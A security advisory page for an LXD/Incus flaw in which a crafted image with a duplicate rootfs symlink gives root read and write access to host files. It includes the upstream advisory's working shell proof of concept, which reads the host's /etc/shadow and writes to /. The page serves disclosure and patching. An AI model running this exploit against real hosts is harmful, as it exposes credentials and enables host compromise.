Symlink in malicious LXD image allows host file read and write
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
The github.com/canonical/lxd Go package is affected before 0.0.0-20260630083100-c5184be310b1. Image validation does not catch a duplicate top-level rootfs symlink (CWE-73), so the file API can reach paths outside the container. An attacker who supplies a crafted image can read and write arbitrary files on the host with root privileges, possibly leading to command execution.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
Description from the GitHub advisory
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/canonical/lxd (Go) | before 0.0.0-20260630083100-c5184be310b1 | 0.0.0-20260630083100-c5184be310b1 | Patch available | GHSA-vghh-5rfx-xhq8 |
- github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260630083100-c5184be310b1 Fixed in 0.0.0-20260630083100-c5184be310b1 Patch available GHSA-vghh-5rfx-xhq8
Remediation
Update github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1, the fixed version.
Written with Claude Haiku 5.5 from the sources below · 2026-11-06
- Fix · GHSA-vghh-5rfx-xhq8 github.com/canonical/lxd (Go) Fixed in 0.0.0-20260630083100-c5184be310b1 Advisory →
Timeline
- 2026-11-06 Threatist record created from GHSA-vghh-5rfx-xhq8
References
Other 13
- https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8
- https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
- https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235
- https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87
- https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
- https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2
- https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd
- https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818
- https://github.com/canonical/lxd
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences